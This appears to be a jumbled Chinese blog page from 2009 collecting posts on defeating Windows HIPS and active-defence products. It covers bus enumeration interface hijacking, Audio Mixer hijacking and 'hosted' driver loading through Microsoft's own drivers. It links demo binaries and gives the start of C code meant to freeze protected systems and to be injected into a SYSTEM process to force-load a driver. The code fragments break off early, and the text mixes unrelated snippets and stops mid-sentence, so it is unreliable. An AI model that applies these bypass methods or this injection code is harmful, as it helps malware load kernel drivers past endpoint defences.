数字电视这个东西也是有个loader的，见图  

    从whitecell上看到sinister的一个回帖，感觉说的很好，很有共鸣，特此转载。

==========================================================================

http://www.whitecell.org/forums/viewthread.php?tid=851

for XP, 程序限制了只能写一次，demo：

http://www.brsbox.com/filebox/down/fc/a77089716f3bb15bcc2aa20256c0fc05

BEIH/F：总线枚举接口劫持/伪造

作者：Azy
日期：2009-5-31

    如果说Audio Mixer劫持（AMH）是一种较为被动的穿越，那么BEIH/F则是主动的攻击。通过BEIH/F可以穿越地上HIPS/主动防御产品加载驱动。
    该方法原理与amh是相同的，最后驱动的加载也是走ExpWorkerThread->PipDeviceActionWorker->IopLoadDriver这条路径，从而绕过了HIPS/主防产品的拦截。但触发攻击的方式完全不同。
    OS中存在一些音频驱动，它们的Start=3，并且Enum键下的

链接：

http://debugman.com/read.php?tid=3160

Product:         volsnap.sys
Description:    volume shadow copy driver
Available:       .idb file
Author:           Azy
Download:      http://www.brsbox.com/filebox/down/fc/a7886c9f1f12df74dd84d967412952db
note: 

   无聊而又劳累的5天终于过去了，庆祝一下 :) 五天没摸键盘 :(

    下面这个代码只能锁死开启有EQ/RTD/MD保护的系统（未安装HIPS类系统当然正常），要锁其它的HIPS还要另外处理。

// By Azy

int __cdecl main()
{
HANDLE handle;
BOOL result;
ULONG i;
ULONG u;
P pp;
HANDLE hFile;
NTSTATUS status;
UNICODE_STRING fileName;
UNICODE_STRING serviceNameUnicodeString;

HMODULE hNtdll = GetModuleHandle(

不多说

http://www.brsbox.com/filebox/down/fc/27da8120031a39bfef4650a2d509c972

ring3_test.exe_VS_HIPS

http://www.brsbox.com/shitproducts/dirid/2894575

作者：Azy
日期：2009-04-23

   最近逆向的一点思路和总结，旨在分享。

核心思想：借助m$第一方驱动来加载驱动（通常是ZwLoadDriver），绕过一些HIPS/主防之类。谓之“寄宿”加载法（本人独创？）

方法1：dmload法。之前讲过（http://hi.baidu.com/azy0922/blog/item/3dd20222ba0941ac4723e875.html），通过创建一个特殊的dmload子键，替换掉dmboot实现重启加载。不过此法又要替换又要重启的

    将下面的代码注入system权限进程即可实现指定驱动加载（下例为dmboot）

#include <windows.h>
#include <devioctl.h>
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>

#define OBJ_CASE_INSENSITIVE    0x00000040L

typedef LONG NTSTATUS;
typedef DWORD ULONG;

typedef struct _UNICODE_STRING{
unsigned short Length;
unsigned short MaximumLength;
PWSTR Buffer;